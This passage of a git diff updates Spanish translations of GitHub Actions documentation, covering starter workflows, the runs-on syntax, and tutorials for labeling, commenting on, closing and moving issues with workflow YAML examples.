+  - /articles/setting-up-continuous-integration-using-github-actions
+  - /github/automating-your-workflow-with-github-actions/setting-up-continuous-integration-using-github-actions
+  - /actions/automating-your-workflow-with-github-actions/setting-up-continuous-integration-using-github-actions
+  - /actions/building-and-testing-code-with-continuous-integration/setting-up-continuous-integration-using-github-actions
+  - /actions/guides/setting-up-continuous-integration-using-workflow-templates
+  - /actions/learn-github-actions/using-workflow-templates
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Workflows
+  - CI
+  - CD
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About starter workflows
+
+{% data variables.product.product_name %} offers starter workflows for a variety of languages and tooling. Cuando configuras flujos de trabajo en tu repositorio, {% data variables.product.product_name %} analiza el código en tu repositorio y recomienda flujos de trabajo con base en el lenguaje y marco de trabajo de este. For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} will suggest a starter workflow file that installs your Node.js packages and runs your tests.{% if actions-starter-template-ui %} You can search and filter to find relevant starter workflows.{% endif %}
+
+You can also create your own starter workflow to share with your organization. These starter workflows will appear alongside the {% data variables.product.product_name %}-provided starter workflows. For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
+
+## Utilizar flujos de trabajo iniciales
+
+Anyone with write permission to a repository can set up {% data variables.product.prodname_actions %} starter workflows for CI/CD or other automation.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.actions-tab %}
+1. Si ya tienes un flujo de trabajo en tu repositorio, haz clic en **Flujo de trabajo nuevo**.
+1. Find the starter workflow that you want to use, then click **Set up this workflow**.{% if actions-starter-template-ui %} To help you find the starter workflow that you want, you can search for keywords or filter by category.{% endif %}
+1. If the starter workflow contains comments detailing additional setup steps, follow these steps. Many of the starter workflow have corresponding guides. Para obtener más información, consulta [las guías de {% data variables.product.prodname_actions %}](/actions/guides).
+1. Some starter workflows use secrets. Por ejemplo, {% raw %}`${{ secrets.npm_token }}`{% endraw %}. If the starter workflow uses a secret, store the value described in the secret name as a secret in your repository. Para obtener más información, consulta "[Secretos cifrados](/actions/reference/encrypted-secrets)".
+1. Opcionalmente, haz cambios adicionales. Por ejemplo, puede que quieras cambiar el valor de `on` para que este cambie cuando se ejecute el flujo de trabajo.
+1. Haz clic en **Iniciar confirmación**.
+1. Escribe un mensaje de confirmación y decide si lo quieres confirmar directamente en la rama predeterminada o si quieres abrir una solicitud de cambios.
+
+## Leer más
+
+- "[Acerca de la integración continua](/articles/about-continuous-integration)"
+- "[Administrar las ejecuciones de flujos de trabajo](/actions/managing-workflow-runs)"
+- "[Acerca del monitoreo y la solución de problemas](/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting)"
+- "[Aprende sobre las {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+{% ifversion fpt or ghec %}
+- "[Administrar la facturación de {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"
+{% endif %}
diff --git a/translations/es-ES/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md b/translations/es-ES/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md
index c0d591e311..f3586ab251 100644
--- a/translations/es-ES/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md
+++ b/translations/es-ES/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md
@@ -475,7 +475,7 @@ In this example, `job3` uses the `always()` conditional expression so that it al
 
 ## `jobs.<job_id>.runs-on`
 
-**Required**. The type of machine to run the job on. {% ifversion fpt or ghec %}The machine can be either a {% data variables.product.prodname_dotcom %}-hosted runner or a self-hosted runner.{% endif %} You can provide `runs-on` as a single string or as an array of strings.
+**Required**. The type of machine to run the job on. {% ifversion fpt or ghec %}The machine can be either a {% data variables.product.prodname_dotcom %}-hosted runner or a self-hosted runner.{% endif %} You can provide `runs-on` as a single string or as an array of strings. If you specify an array of strings, your workflow will run on a self-hosted runner whose labels match all of the specified `runs-on` values, if available. If you would like to run your workflow on multiple machines, use [`jobs.<job_id>.strategy`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy).
 
 {% ifversion fpt or ghec or ghes %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/es-ES/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md b/translations/es-ES/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md
index b3c1173329..a4ed135db1 100644
--- a/translations/es-ES/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md
+++ b/translations/es-ES/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md
@@ -1,6 +1,6 @@
 ---
-title: Adding labels to issues
-intro: 'You can use {% data variables.product.prodname_actions %} to automatically label issues.'
+title: Agregar etiquetas a las propuestas
+intro: 'Puedes utilizar las {% data variables.product.prodname_actions %} para etiquetar las propuestas automáticamente.'
 redirect_from:
   - /actions/guides/adding-labels-to-issues
 versions:
@@ -17,17 +17,17 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This tutorial demonstrates how to use the [`andymckay/labeler` action](https://github.com/marketplace/actions/simple-issue-labeler) in a workflow to label newly opened or reopened issues. For example, you can add the `triage` label every time an issue is opened or reopened. Then, you can see all issues that need to be triaged by filtering for issues with the `triage` label.
+Este tutorial ilustra cómo utilizar la [acción`andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler) en un flujo de trabajo para etiquetar las propuestas recientemente abiertas o re-abiertas. Por ejemplo, puedes agregar la etiqueta `triage` cada que se abre o re-abre una propuesta. Después, puedes ver todas las propuestas que necesitan clasificarse si filtras las propuestas con la etiqueta `triage`.
 
-In the tutorial, you will first make a workflow file that uses the [`andymckay/labeler` action](https://github.com/marketplace/actions/simple-issue-labeler). Then, you will customize the workflow to suit your needs.
+En el tutorial, primero harás un archivo de flujo de trabajo que utilice la [acción `andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler). Después, personalizarás el flujo de trabajo de acuerdo con tus necesidades.
 
-## Creating the workflow
+## Crear un flujo de trabajo
 
 1. {% data reusables.actions.choose-repo %}
 2. {% data reusables.actions.make-workflow-file %}
-3. Copy the following YAML contents into your workflow file.
+3. Copia el siguiente contenido de YAML en tu archivo de flujo de trabajo.
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -45,28 +45,28 @@ In the tutorial, you will first make a workflow file that uses the [`andymckay/l
           issues: write{% endif %}
         steps:
           - name: Label issues
-            uses: andymckay/labeler@5c59dabdfd4dd5bd9c6e6d255b01b9d764af4414
+            uses: andymckay/labeler@e6c4322d0397f3240f0e7e30a33b5c5df2d39e90
             with:
               add-labels: "triage"
               repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
     ```
 
-4. Customize the parameters in your workflow file:
-   - Change the value for `add-labels` to the list of labels that you want to add to the issue. Separate multiple labels with commas. For example, `"help wanted, good first issue"`. For more information about labels, see "[Managing labels](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)."
+4. Personaliza los parámetros en tu archivo de flujo de trabajo:
+   - Cambia el valor de `add-labels` a la lista de etiquetas que quieras agregar a la propuesta. Separa las etiquetas con comas. Por ejemplo, `"help wanted, good first issue"`. Para obtener más información sobre las etiquetas, consulta la sección "[Administrar etiquetas](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)".
 5. {% data reusables.actions.commit-workflow %}
 
-## Testing the workflow
+## Probar el flujo de trabajo
 
-Every time an issue in your repository is opened or reopened, this workflow will add the labels that you specified to the issue.
+Cada que se abre o re-abre una propuesta en tu repositorio, este flujo de trabajo agregará a la propuesta las etiquetas que especificaste.
 
-Test out your workflow by creating an issue in your repository.
+Prueba tu flujo de trabajo creando una propuesta en tu repositorio.
 
-1. Create an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
-2. To see the workflow run that was triggered by creating the issue, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-3. When the workflow completes, the issue that you created should have the specified labels added.
+1. Crea una propuesta en tu repositorio. Para obtener más información, consulta la sección "[Crear una propuesta](/github/managing-your-work-on-github/creating-an-issue)".
+2. Para ver la ejecución de flujo de trabajo que se activó al crear la propuesta, ve el historial de tus ejecuciones de flujo de trabajo. Para obtener más información, consulta la sección "[Visualizar el historial de ejecuciones de un flujo de trabajo](/actions/managing-workflow-runs/viewing-workflow-run-history)".
+3. Cuando se complete el flujo de trabajo, la propuesta que creaste deberá tener agregadas las etiquetas que especificaste.
 
-## Next steps
+## Pasos siguientes
 
-- To learn more about additional things you can do with the `andymckay/labeler` action, like removing labels or skipping this action if the issue is assigned or has a specific label, see the [`andymckay/labeler` action documentation](https://github.com/marketplace/actions/simple-issue-labeler).
-- To learn more about different events that can trigger your workflow, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#issues)." The `andymckay/labeler` action only works on `issues`, `pull_request`, or `project_card` events.
-- [Search GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) for examples of workflows using this action.
+- Para aprender más sobre las cosas adicionales que puedes hacer con la acción `andymckay/labeler`, como quitar etiquetas o saltarte esta acción si la propuesta se asigna o si tiene una etiqueta específica, consulta la [documentación de la acción `andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler).
+- Para aprender más sobre los diversos eventos que pueden activar tu flujo de trabajo, consulta la sección "[Eventos que activan flujos de trabajo](/actions/reference/events-that-trigger-workflows#issues)". La acción `andymckay/labeler` funciona en los eventos de `issues`, `pull_request`, o `project_card`.
+- [Busca en GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) los ejemplos de los flujos de trabajo que utilizan esta acción.
diff --git a/translations/es-ES/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md b/translations/es-ES/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md
index fe86fe79e4..2d86350bea 100644
--- a/translations/es-ES/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md
+++ b/translations/es-ES/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md
@@ -1,6 +1,6 @@
 ---
-title: Closing inactive issues
-intro: 'You can use {% data variables.product.prodname_actions %} to comment on or close issues that have been inactive for a certain period of time.'
+title: Cerrar las propuestas inactivas
+intro: 'Puedes utilizar las {% data variables.product.prodname_actions %} para comentar o cerrar las propuestas que han estado inactivas por algún tiempo.'
 redirect_from:
   - /actions/guides/closing-inactive-issues
 versions:
@@ -17,17 +17,17 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This tutorial demonstrates how to use the [`actions/stale` action](https://github.com/marketplace/actions/close-stale-issues) to comment on and close issues that have been inactive for a certain period of time. For example, you can comment if an issue has been inactive for 30 days to prompt participants to take action. Then, if no additional activity occurs after 14 days, you can close the issue.
+Este tutorial ilustra cómo utilizar la [acción `actions/stale`](https://github.com/marketplace/actions/close-stale-issues) para comentar y cerrar las propuestas que han estado inactivas por algún tiempo. Por ejemplo, puedes comentar si una propúesta ha estado inactiva durante 30 días para pedir a los participantes que tomen alguna acción. Posteriormente, si no hay ningún tipo de actividad en los siguientes 14 días, puedes cerrar la propuesta.
 
-In the tutorial, you will first make a workflow file that uses the [`actions/stale` action](https://github.com/marketplace/actions/close-stale-issues). Then, you will customize the workflow to suit your needs.
+En el tutorial, prmero crearás un archivo de flujo de trabajo que utilice la [acción `actions/stale`](https://github.com/marketplace/actions/close-stale-issues). Después, personalizarás el flujo de trabajo de acuerdo con tus necesidades.
 
-## Creating the workflow
+## Crear un flujo de trabajo
 
 1. {% data reusables.actions.choose-repo %}
 2. {% data reusables.actions.make-workflow-file %}
-3. Copy the following YAML contents into your workflow file.
+3. Copia el siguiente contenido de YAML en tu archivo de flujo de trabajo.
 
     ```yaml{:copy}
     name: Close inactive issues
@@ -54,26 +54,26 @@ In the tutorial, you will first make a workflow file that uses the [`actions/sta
               repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
     ```
 
-4. Customize the parameters in your workflow file:
-   - Change the value for `on.schedule` to dictate when you want this workflow to run. In the example above, the workflow will run every day at 1:30 UTC. For more information about scheduled workflows, see "[Scheduled events](/actions/reference/events-that-trigger-workflows#scheduled-events)."
-   - Change the value for `days-before-issue-stale` to the number of days without activity before the `actions/stale` action labels an issue. If you never want this action to label issues, set this value to `-1`.
-   - Change the value for `days-before-issue-close` to the number of days without activity before the `actions/stale` action closes an issue. If you never want this action to close issues, set this value to `-1`.
-   - Change the value for `stale-issue-label` to the label that you want to apply to issues that have been inactive for the amount of time specified by `days-before-issue-stale`.
-   - Change the value for `stale-issue-message` to the comment that you want to add to issues that are labeled by the `actions/stale` action.
-   - Change the value for `close-issue-message` to the comment that you want to add to issues that are closed by the `actions/stale` action.
+4. Personaliza los parámetros en tu archivo de flujo de trabajo:
+   - Cambia el valor de `on.schedule` para que dicte cuándo quieres que se ejecute este flujo de trabajo. En el ejemplo anterior, el flujo de trabajo se ejecutará diario a la 1:30 UTC. Para obtener más información sobre los flujos de trabajo que has programado, consulta la sección "[Ejemplos programados](/actions/reference/events-that-trigger-workflows#scheduled-events)".
+   - Cambia el valor de `days-before-issue-stale` a la cantidad de días de inactividad para esperar antes de que la acción `actions/stale` etiquete una propuesta. Si quieres que esta acción jamás etiquete las propuestas, configura el valor en `-1`.
+   - Cambia el valor de `days-before-issue-close` a la cantidad de días sin actividad a esperar antes de que la acción `actions/stale` cierre una propuesta. Si quieres que esta acción jamás cierre las propuestas, configura el valor en `-1`.
+   - Cambia el valor de `stale-issue-label` a la etiqueta que quieras aplicar a las propuestas que hayan estado inactivas por la cantidad de tiempo que especificaste en `days-before-issue-stale`.
+   - Cambia el valor de `stale-issue-message` al comentario que quieres agregar a las propuestas que etiqueta la acción `actions/stale`.
+   - Cambia el valor de `close-issue-message` al comentario que quieres agregar a las propuestas que cerró la acción `actions/stale`.
 5. {% data reusables.actions.commit-workflow %}
 
-## Expected results
+## Resultados esperados
 
-Based on the `schedule` parameter (for example, every day at 1:30 UTC), your workflow will find issues that have been inactive for the specified period of time and will add the specified comment and label. Additionally, your workflow will close any previously labeled issues if no additional activity has occurred for the specified period of time.
+Con base en el parámetro `schedule` (por ejemplo, todos los días a la 1:39 UTC), tu flujo de trabajo encontrará propuestas que hayan estado inactivas por el periodo de tiempo que especificaste y agregará el comentario y etiqueta que especificaste. Adicionalmente, tu flujo de trabajo cerrará cualquier propuesta que se haya etiquetado previamente si no ha habido ningún tipo de actividad adicional en el periodo de tiempo que especificaste.
 
 {% data reusables.actions.schedule-delay %}
 
-You can view the history of your workflow runs to see this workflow run periodically. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
+Puedes ver el historial de tus ejecuciones de flujo de trabajo para ver que este flujo de trabajo se ejecute regularmente. Para obtener más información, consulta la sección "[Visualizar el historial de ejecuciones de un flujo de trabajo](/actions/managing-workflow-runs/viewing-workflow-run-history)".
 
-This workflow will only label and/or close 30 issues at a time in order to avoid exceeding a rate limit. You can configure this with the `operations-per-run` setting. For more information, see the [`actions/stale` action documentation](https://github.com/marketplace/actions/close-stale-issues).
+Este flujo de trabajo solo etiquetará o cerrará 30 propuestas a la vez para evitar exceder el límite de tasa. Puedes configurar esto con el ajuste de `operations-per-run`. Para obtener más información, consulta la [documentación de la acción `actions/stale`](https://github.com/marketplace/actions/close-stale-issues).
 
-## Next steps
+## Pasos siguientes
 
-- To learn more about additional things you can do with the `actions/stale` action, like closing inactive pull requests, ignoring issues with certain labels or milestones, or only checking issues with certain labels, see the [`actions/stale` action documentation](https://github.com/marketplace/actions/close-stale-issues).
-- [Search GitHub](https://github.com/search?q=%22uses%3A+actions%2Fstale%22&type=code) for examples of workflows using this action.
+- Para aprender más sobre las cosas adicionales que puedes hacer con la acción `actions/stale`, como cerrar las solicitudes de cambios inactivas, ignorar las propuestas que tengan ciertas etiquetas o hitos, o verificar solo las propuestas que tengan ciertas etiquetas, consulta la [documentación de la acción `actions/stale`](https://github.com/marketplace/actions/close-stale-issues).
+- [Busca en GitHub](https://github.com/search?q=%22uses%3A+actions%2Fstale%22&type=code) los ejemplos de los flujos de trabajo utilizando esta acción.
diff --git a/translations/es-ES/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md b/translations/es-ES/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md
index 43f42b40ce..dc0d0c7712 100644
--- a/translations/es-ES/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md
+++ b/translations/es-ES/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md
@@ -1,6 +1,6 @@
 ---
-title: Commenting on an issue when a label is added
-intro: 'You can use {% data variables.product.prodname_actions %} to automatically comment on issues when a specific label is applied.'
+title: Comentar en una propuesta cuando se le agrega una etiqueta
+intro: 'Puedes utilizar las {% data variables.product.prodname_actions %} para comentar automáticamente en las propuestas cuando se les aplica una etiqueta específica.'
 redirect_from:
   - /actions/guides/commenting-on-an-issue-when-a-label-is-added
 versions:
@@ -12,23 +12,23 @@ type: tutorial
 topics:
   - Workflows
   - Project management
-shortTitle: Add label to comment on issue
+shortTitle: Agregar una etiqueta para comentar en la propuesta
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This tutorial demonstrates how to use the [`peter-evans/create-or-update-comment` action](https://github.com/marketplace/actions/create-or-update-comment) to comment on an issue when a specific label is applied. For example, when the `help-wanted` label is added to an issue, you can add a comment to encourage contributors to work on the issue.
+Este tutorial ilustra cómo utilizar la [acción `peter-evans/create-or-update-comment`](https://github.com/marketplace/actions/create-or-update-comment) para comentar en una propuesta cuando se le aplica una etiqueta específica. Por ejemplo, cuando se agrega la etiqueta `help-wanted` a una propuesta, puedes agregar un comentario para animar a los colaboradores a que trabajen sobre dicha propuesta.
 
-In the tutorial, you will first make a workflow file that uses the [`peter-evans/create-or-update-comment` action](https://github.com/marketplace/actions/create-or-update-comment). Then, you will customize the workflow to suit your needs.
+En el tutorial, primero harás un archivo de flujo de trabajo que utilice la [acción `peter-evans/create-or-update-comment`](https://github.com/marketplace/actions/create-or-update-comment). Después, personalizarás el flujo de trabajo de acuerdo con tus necesidades.
 
-## Creating the workflow
+## Crear un flujo de trabajo
 
 1. {% data reusables.actions.choose-repo %}
 2. {% data reusables.actions.make-workflow-file %}
-3. Copy the following YAML contents into your workflow file.
+3. Copia el siguiente contenido de YAML en tu archivo de flujo de trabajo.
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -53,22 +53,22 @@ In the tutorial, you will first make a workflow file that uses the [`peter-evans
                 This issue is available for anyone to work on. **Make sure to reference this issue in your pull request.** :sparkles: Thank you for your contribution! :sparkles:
     ```
 
-4. Customize the parameters in your workflow file:
-   - Replace `help-wanted` in `if: github.event.label.name == 'help-wanted'` with the label that you want to act on. If you want to act on more than one label, separate the conditions with `||`. For example, `if: github.event.label.name == 'bug' || github.event.label.name == 'fix me'` will comment whenever the `bug` or `fix me` labels are added to an issue.
-   - Change the value for `body` to the comment that you want to add. GitHub flavored markdown is supported. For more information about markdown, see "[Basic writing and formatting syntax](/github/writing-on-github/basic-writing-and-formatting-syntax)."
+4. Personaliza los parámetros en tu archivo de flujo de trabajo:
+   - Reemplaza a `help-wanted` en `if: github.event.label.name == 'help-wanted'` con la etiqueta sobre la cual quieres actuar. Si quieres actuar sobre más de una etiqueta, separa las condiciones con `||`. Por ejemplo, `if: github.event.label.name == 'bug' || github.event.label.name == 'fix me'` comentará cada que se agreguen las etiquetas `bug` o `fix me` a una propuesta.
+   - Cambia el valor de `body` al comentario que quieras agregar. El lenguaje de marcado enriquecido de GitHub es compatible. Para obtener más información sobre el lenguaje de marcado, consulta la sección "[Sintaxis básica de escritura y formato](/github/writing-on-github/basic-writing-and-formatting-syntax)".
 5. {% data reusables.actions.commit-workflow %}
 
-## Testing the workflow
+## Probar el flujo de trabajo
 
-Every time an issue in your repository is labeled, this workflow will run. If the label that was added is one of the labels that you specified in your workflow file, the `peter-evans/create-or-update-comment` action will add the comment that you specified to the issue.
+Cada vez que se etiqueta a una propuesta de tu repositorio, se ejecutará este flujo de trabajo. Si la etiqueta que se agregó es una de las que especificaste en tu archivo de flujo de trabajo, la acción `peter-evans/create-or-update-comment` agregará el comentario que especificaste a la propuesta.
 
-Test your workflow by applying your specified label to an issue.
+Prueba tu flujo de trabajo aplicando tu etiqueta especificada a una propuesta.
 
-1. Open an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
-2. Label the issue with the specified label in your workflow file. For more information, see "[Managing labels](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)."
-3. To see the workflow run triggered by labeling the issue, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-4. When the workflow completes, the issue that you labeled should have a comment added.
+1. Abre una propuesta en tu repositorio. Para obtener más información, consulta la sección "[Crear una propuesta](/github/managing-your-work-on-github/creating-an-issue)".
+2. Etiqueta la propuesta con la etiqueta que se especificó en tu flujo de trabajo. Para obtener más información, consulta la sección "[Administrar etiquetas](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)".
+3. Para ver la ejecución de flujo de trabajo que se activó al etiquetar la propuesta, visualiza el historial de tus ejecuciones de flujo de trabajo. Para obtener más información, consulta la sección "[Visualizar el historial de ejecuciones de un flujo de trabajo](/actions/managing-workflow-runs/viewing-workflow-run-history)".
+4. Cuando se complete el flujo de trabajo, la propuesta que etiquetaste debe tener un comentario agregado.
 
-## Next steps
+## Pasos siguientes
 
-- To learn more about additional things you can do with the `peter-evans/create-or-update-comment` action, like adding reactions, visit the [`peter-evans/create-or-update-comment` action documentation](https://github.com/marketplace/actions/create-or-update-comment).
+- Para aprender más sobre las cosas adicionales que puedes hacer con la acción `peter-evans/create-or-update-comment`, como agregar reacciones, visita la [documentación de la acción `peter-evans/create-or-update-comment`](https://github.com/marketplace/actions/create-or-update-comment).
diff --git a/translations/es-ES/content/actions/managing-issues-and-pull-requests/index.md b/translations/es-ES/content/actions/managing-issues-and-pull-requests/index.md
index 8de3865cbd..9c3d5f4f44 100644
--- a/translations/es-ES/content/actions/managing-issues-and-pull-requests/index.md
+++ b/translations/es-ES/content/actions/managing-issues-and-pull-requests/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing issues and pull requests
-shortTitle: Managing issues and pull requests
-intro: 'You can automatically manage your issues and pull requests using {% data variables.product.prodname_actions %} workflows.'
+title: Administrar propuestas y solicitudes de cambios
+shortTitle: Administrar propuestas y solicitudes de cambios
+intro: 'Puedes fusionar tus propuestas y solicitudes de cambios automáticamente utilizando los flujos de trabajo de {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/es-ES/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md b/translations/es-ES/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md
index 693c78b6c6..3b527fddf8 100644
--- a/translations/es-ES/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md
+++ b/translations/es-ES/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md
@@ -1,6 +1,6 @@
 ---
-title: Moving assigned issues on project boards
-intro: 'You can use {% data variables.product.prodname_actions %} to automatically move an issue to a specific column on a project board when the issue is assigned.'
+title: Mover las propuestas asignadas en los tableros de proyecto
+intro: 'Puedes utilizar las {% data variables.product.prodname_actions %} para mover automáticamente una propuesta a una columna específica en un tablero de proyecto cuando se asigna la propuesta.'
 redirect_from:
   - /actions/guides/moving-assigned-issues-on-project-boards
 versions:
@@ -12,24 +12,24 @@ type: tutorial
 topics:
   - Workflows
   - Project management
-shortTitle: Move assigned issues
+shortTitle: Mover las propuestas asignadas
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This tutorial demonstrates how to use the [`alex-page/github-project-automation-plus` action](https://github.com/marketplace/actions/github-project-automation) to automatically move an issue to a specific column on a project board when the issue is assigned. For example, when an issue is assigned, you can move it into the `In Progress` column your project board.
+Este tutorial ilustra cómo utilizar la [acción `alex-page/github-project-automation-plus`](https://github.com/marketplace/actions/github-project-automation) para mover una propuesta automáticamente a una columna específica en un tablero de proyecto cuando esta se asigna. Por ejemplo, cuando se asigna una propuesta, puedes moverla hacia la columna `In Progress` de tu tablero de proyecto.
 
-In the tutorial, you will first make a workflow file that uses the [`alex-page/github-project-automation-plus` action](https://github.com/marketplace/actions/github-project-automation). Then, you will customize the workflow to suit your needs.
+En el tutorial, primero crearás un archivo de flujo de trabajo que utilice la [acción `alex-page/github-project-automation-plus`](https://github.com/marketplace/actions/github-project-automation). Después, personalizarás el flujo de trabajo de acuerdo con tus necesidades.
 
-## Creating the workflow
+## Crear un flujo de trabajo
 
 1. {% data reusables.actions.choose-repo %}
-2. In your repository, choose a project board. You can use an existing project, or you can create a new project. For more information about creating a project, see "[Creating a project board](/github/managing-your-work-on-github/creating-a-project-board)."
+2. En tu repositorio, elige un tablero de proyecto. Puedes utilizar un proyecto existente o crear uno nuevo. Para obtener más información sobre cómo crear un proyecto, consulta la sección "[Crear un tablero de proyecto](/github/managing-your-work-on-github/creating-a-project-board)".
 3. {% data reusables.actions.make-workflow-file %}
-4. Copy the following YAML contents into your workflow file.
+4. Copia el siguiente contenido de YAML en tu archivo de flujo de trabajo.
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -50,28 +50,28 @@ In the tutorial, you will first make a workflow file that uses the [`alex-page/g
               repo-token: {% raw %}${{ secrets.PERSONAL_ACCESS_TOKEN }}{% endraw %}
     ```
 
-5. Customize the parameters in your workflow file:
-   - Change the value for `project` to the name of your project board. If you have multiple project boards with the same name, the `alex-page/github-project-automation-plus` action will act on all projects with the specified name.
-   - Change the value for `column` to the name of the column where you want issues to move when they are assigned.
-   - Change the value for `repo-token`:
-     1. Create a personal access token with the `repo` scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
-     1. Store this personal access token as a secret in your repository. For more information about storing secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
-     1. In your workflow file, replace `PERSONAL_ACCESS_TOKEN` with the name of your secret.
+5. Personaliza los parámetros en tu archivo de flujo de trabajo:
+   - Cambia el valor de `project` al nombre de tu tablero de proyecto. Si tienes varios tableros de proyecto con el mismo nombre, la acción `alex-page/github-project-automation-plus` actuará sobre todos aquellos que tengan el nombre previamente especificado.
+   - Cambia el valor de `column` al nombre de la columna en donde quieres mover las propuestas cuando se asignen.
+   - Cambia el valor de `repo-token`:
+     1. Crea un token de acceso personal con el alcance de `repo`. Para obtener más información, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)".
+     1. Almacena este token de acceso personal como secreto en tu repositorio. Para obtener más información sobre cómo almacenar secretos, consulta la sección "[Secretos cifrados](/actions/reference/encrypted-secrets)".
+     1. En tu archivo de flujo de trabajo, reemplaza a `PERSONAL_ACCESS_TOKEN` con el nombre de tu secreto.
 6. {% data reusables.actions.commit-workflow %}
 
-## Testing the workflow
+## Probar el flujo de trabajo
 
-Whenever an issue in your repository is assigned, the issue will be moved to the specified project board column. If the issue is not already on the project board, it will be added to the project board.
+Cada vez que se asigne una propuesta en tu repositorio, dicha propuesta se moverá al tablero de proyecto especificado. Si la propuesta no estaba ya en el tablero de proyecto, se agregará a este.
 
-If your repository is user-owned, the `alex-page/github-project-automation-plus` action will act on all projects in your repository or user account that have the specified project name and column. Likewise, if your repository is organization-owned, the action will act on all projects in your repository or organization that have the specified project name and column.
+Si tu repositorio pertenece a un usuario, la acción `alex-page/github-project-automation-plus` actuará sobre todos los proyectos en dicho repositorio o en la cuenta de usuario que tengan el nombre y columna del proyecto especificado. De la misma forma, si tu repositorio pertenece a una organización, la acción actuará en todos los poryectos de tu repositorio u organización que tengan el nombre y columna especificadas.
 
-Test your workflow by assigning an issue in your repository.
+Prueba tu flujo de trabajo asignando una propuesta en tu repositorio.
 
-1. Open an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
-2. Assign the issue. For more information, see "[Assigning issues and pull requests to other GitHub users](/github/managing-your-work-on-github/assigning-issues-and-pull-requests-to-other-github-users)."
-3. To see the workflow run that assigning the issue triggered, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-4. When the workflow completes, the issue that you assigned should be added to the specified project board column.
+1. Abre una propuesta en tu repositorio. Para obtener más información, consulta la sección "[Crear una propuesta](/github/managing-your-work-on-github/creating-an-issue)".
+2. Asigna la propuesta. Para obtener más informaciónm, consulta la sección "[Asignar propuestas y solicitudes de cambios a otros usuarios de GitHub](/github/managing-your-work-on-github/assigning-issues-and-pull-requests-to-other-github-users)".
